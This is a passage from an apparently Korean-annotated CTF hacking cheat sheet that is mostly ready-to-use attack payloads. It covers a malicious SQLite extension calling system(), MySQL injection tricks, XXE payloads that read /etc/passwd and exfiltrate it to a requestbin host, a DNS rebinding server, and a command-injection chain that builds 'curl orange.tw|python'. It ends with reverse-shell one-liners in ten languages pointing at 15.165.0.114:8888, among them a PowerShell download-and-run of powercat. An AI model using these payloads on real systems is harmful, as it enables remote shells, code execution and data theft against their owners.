    int sqlite3_evil_init() {
    return 0;
    }
    int sqlite3__init() {
    system("touch /tmp/executed");
    return 0;
    }
    1
    select load_extension('/tmp/evil.so');
  • mysql

    • multiquery injection
    1
    2
    3
    set @a='select sleep(1)';
    prepare s from @a;
    execute s;
    • rand alternative
    1
    select case when @a:=@a-2 then @a:=2 else @a:=1 end;
    • mysql client attack
    1
    2
    3
    git clone https://github.com/lcark/MysqlClientAttack.git
    cd MysqlClientAttack
    python main.py -F /flag
    • shell command : show columns

      1
      show columns from `tbl`
    • shell command : handler

      1
      HANDLER tbl OPEN;HANDLER tbl READ FIRST;HANDLER CLOSE
    • list table with innodb > 5.6

      1
      2
      select * from innodb_table_stats;
      select * from innodb_index_stats;
    • list table with statistics

      1
      2
      3
      schema_auto_increment_columns
      schema_table_statistics_with_buffer
      x$schema_table_statistics_with_buffer
  • waf bypass

XML External Entity Injection

  • basic (생략)

  • php wrapper (생략)

  • dos (생략)

  • error based (생략)

  • soap

    1
    2
    3
    4
    5
    <soap:Body>
    <foo>
    <![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]>
    </foo>
    </soap:Body>
  • utf7

    1
    2
    3
    4
    5
    <?xml version="1.0" encoding="UTF-7"?>
    <@utf7><!DOCTYPE r[
    <!ENTITY x SYSTEM "file:///etc/passwd">
    ]>
    <r>&x;</r><@/utf7>
  • utf16

    1
    <@UTF_16_3><?xml version="1.0" encoding="UTF-16"?><r>123</r><@/UTF_16_3>
  • oob xxe

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    // 1.xml
    <@UTF_16_3><?xml version="1.0" encoding="UTF-16"?>
    <!DOCTYPE r[
    <!ENTITY % x SYSTEM "http://git.buuoj.cn/posix/xxe/raw/master/1.dtd">
    %x;
    %p;
    ]>
    <r>&exfil;</r><@/UTF_16_3>
    // 1.dtd
    <!ENTITY % d SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
    <!ENTITY % p "<!ENTITY exfil SYSTEM 'http://http.requestbin.buuoj.cn/138ccqt1?d=%d;'>">
  • local dtd

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    <?xml version="1.0"?>
    <!DOCTYPE message[
    <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
    <!ENTITY % ISOamsa '
    <!ENTITY % file SYSTEM "file:///etc/passwd">
    <!ENTITY % request "<!ENTITY &#x25; error SYSTEM 'file:///x/%file;&#x27;>">
    %request;%error;'>
    %local_dtd;
    ]>
    <message>123</message>
  • phar

    1
    2
    3
    4
    5
    6
    <?xml version="1.0" standalone="yes"?>
    <!DOCTYPE ernw [
    <!ENTITY xxe SYSTEM "phar:///var/www/html/images/gginin/xxxx.jpeg" > ]>
    <svg width="500px" height="100px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
    <text font-family="Verdana" font-size="16" x="10" y="40">&xxe;</text>
    </svg>
  • oxml_xxe

Crypto

  • length extension attack
  • Oracle Padding Attack
    • [설명추가예정]
  • ECB 블록 셔플 공격 (CTF에 나온지는 꽤 되었지만, 나름 범용적인 공격)
  • CBC mode - Bit Flipping Attack
    • [설명추가예정]

misc / universal

  • zip slip attack

  • bad regex bypass

  • race condition

  • bom injection

  • weak rand / srand() (언어별로)

  • cron / .bashrc / .zshrc

  • windows fs regex

    1
    2
    3
    4
    5
    target: flag.txt
    matched by
    1. flag.>>>
    2. f<
    3. flag"txt
  • time based regex injection

  • apache solr injection

  • dns rebinding

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    // sudo systemctl disable systemd-resolved
    // sudo systemctl stop systemd-resolved

    const dns = require('dns2');
    var check = true;
    const server = dns.createServer((req,send) => {
    const response = new dns.Packet(req);
    check = !check;
    response.header.qr = 1;
    response.answers.push({
    address: check ? '127.0.0.1' : '1.2.3.4',
    type: dns.Packet.TYPE.A,
    class: dns.Packet.CLASS.IN
    });
    send(response);
    }).listen(53);

    // sudo systemctl enable systemd-resolved
    // sudo systemctl start systemd-resolved
  • unicode normaliation

    • 언어마다 다름
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    [223] ß (%C3%9F).toUpperCase() => SS (%53%53)
    [304] İ (%C4%B0).toLowerCase() => i̇ (%69%307)
    [305] ı (%C4%B1).toUpperCase() => I (%49)
    [329] ʼn (%C5%89).toUpperCase() => ʼN (%2bc%4e)
    [383] ſ (%C5%BF).toUpperCase() => S (%53)
    [496] ǰ (%C7%B0).toUpperCase() => J̌ (%4a%30c)
    [7830] ẖ (%E1%BA%96).toUpperCase() => H̱ (%48%331)
    [7831] ẗ (%E1%BA%97).toUpperCase() => T̈ (%54%308)
    [7832] ẘ (%E1%BA%98).toUpperCase() => W̊ (%57%30a)
    [7833] ẙ (%E1%BA%99).toUpperCase() => Y̊ (%59%30a)
    [7834] ẚ (%E1%BA%9A).toUpperCase() => Aʾ (%41%2be)
    [8490] K (%E2%84%AA).toLowerCase() => k (%6b)
    [64256] ff (%EF%AC%80).toUpperCase() => FF (%46%46)
    [64257] fi (%EF%AC%81).toUpperCase() => FI (%46%49)
    [64258] fl (%EF%AC%82).toUpperCase() => FL (%46%4c)
    [64259] ffi (%EF%AC%83).toUpperCase() => FFI (%46%46%49)
    [64260] ffl (%EF%AC%84).toUpperCase() => FFL (%46%46%4c)
    [64261] ſt (%EF%AC%85).toUpperCase() => ST (%53%54)
    [64262] st (%EF%AC%86).toUpperCase() => ST (%53%54)
  • 5 byte command injection

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    # generate `ls -t>g` to file "_"
    http://host/?cmd=>ls\
    http://host/?cmd=ls>_
    http://host/?cmd=>\ \
    http://host/?cmd=>-t\
    http://host/?cmd=>\>g
    http://host/?cmd=ls>>_

    # generate `curl orange.tw|python` to file "g"
    http://host/?cmd=>on
    http://host/?cmd=>th\
    http://host/?cmd=>py\
    http://host/?cmd=>\|\
    http://host/?cmd=>tw\
    http://host/?cmd=>e.\
    http://host/?cmd=>ng\
    http://host/?cmd=>ra\
    http://host/?cmd=>o\
    http://host/?cmd=>\ \
    http://host/?cmd=>rl\
    http://host/?cmd=>cu\
    http://host/?cmd=sh _

    # got shell
    http://host/?cmd=sh g

AWS

bucket

  • public bucket

    • list objects
    1
    aws s3 ls s3://a700de6aeab6ef373e7d
    • copy objects
    1
    aws s3 cp s3://b1f507894bee098d7e9d/flag.txt .
    1
    2
    # aws s3api put-bucket-acl --bucket b1f507894bee098d7e9d --acl authenticated-read
    # aws s3api put-object-acl --bucket b1f507894bee098d7e9d --key flag.txt --acl authenticated-read

one day exploit

  • 추가예정
  • 실효성 낮음

reverse shell

  • perl

    1
    perl -e 'use Socket;$i="15.165.0.114";$p=8888;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
  • bash

    1
    2
    3
    bash -i >& /dev/tcp/15.165.0.114/8888 0>&1
    bash -c 'bash -i >& /dev/tcp/15.165.0.114/8888 0>&1'
    0<&196;exec 196<>/dev/tcp/15.165.0.114/8888; sh <&196 >&196 2>&196
  • php

    1
    php -r '$sock=fsockopen("15.165.0.114",8888);exec("/bin/sh -i <&3 >&3 2>&3");'
  • nc -e

    1
    nc -e /bin/sh 15.165.0.114 8888
  • telnet

    1
    mknod backpipe p && telnet 15.165.0.114 8888 0<backpipe | /bin/bash 1>backpipe
  • python

    1
    python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("15.165.0.114",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
  • ruby

    1
    ruby -rsocket -e 'exit if fork;c=TCPSocket.new("15.165.0.114","8888");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
  • nodejs

    1
    2
    var net = require("net"), sh = require("child_process").exec("/bin/bash"); var client = new net.Socket(); client.connect(8888, "15.165.0.114", function(){client.pipe(sh.stdin);sh.stdout.pipe(client); sh.stderr.pipe(client);});
    require('child_process').exec("bash -c 'bash -i >& /dev/tcp/15.165.0.114/8888 0>&1'");
  • java

    1
    Runtime r = Runtime.getRuntime();Process p = r.exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/15.165.0.114/5278;cat <&5 | while read line; do $line 2>&5 >&5; done"});p.waitFor();
  • powershell

    1
    powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c 15.165.0.114 -p 8888 -e cmd

Reference